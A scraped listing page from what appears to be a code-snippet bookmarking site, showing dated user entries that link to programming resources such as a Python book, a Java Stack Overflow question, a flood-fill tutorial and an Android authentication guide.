Mon Jul 29 2024 09:41:06 GMT+0000 (Coordinated Universal Time)

@namnt

star

Sat Aug 10 2024 14:42:57 GMT+0000 (Coordinated Universal Time) https://helldivers-hub.com/

@Dhoover17

star

Mon Mar 30 2020 10:16:54 GMT+0000 (Coordinated Universal Time) https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0321884914

@amn2jb #python ##python #strings #comments

star

Wed Apr 01 2020 08:24:35 GMT+0000 (Coordinated Universal Time) https://stackoverflow.com/questions/60963813/how-do-you-check-a-row-in-a-2d-char-array-for-a-specific-element-and-then-count

@Gameron #java #java #2dchar array

star

Thu Dec 26 2019 19:01:13 GMT+0000 (Coordinated Universal Time) https://www.techiedelight.com/flood-fill-algorithm/

@logicloss01 #java #logic #algorithms #interesting #arrays

star

Wed May 27 2020 18:25:34 GMT+0000 (Coordinated Universal Time) https://developers.google.com/android/guides/client-auth

@lkmandy #android

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension